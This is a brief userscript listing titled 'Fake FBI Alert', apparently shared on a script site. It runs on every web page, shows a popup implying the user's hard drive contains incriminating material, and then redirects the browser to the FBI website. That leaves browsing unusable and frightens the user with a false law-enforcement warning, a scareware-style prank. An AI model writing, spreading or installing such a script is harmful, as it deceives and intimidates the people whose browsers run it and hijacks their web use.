There are 2 previous versions of this script.
// ==UserScript==
// @author Tom Buutkamp
// @version 1.1
// @name Fake FBI Alert
// @include *
// ==/UserScript==
alert("Due to the contents on your hard drive, this popup will show everytime you navigate through the web.");
window.location.href = 'http://www.fbi.gov/';
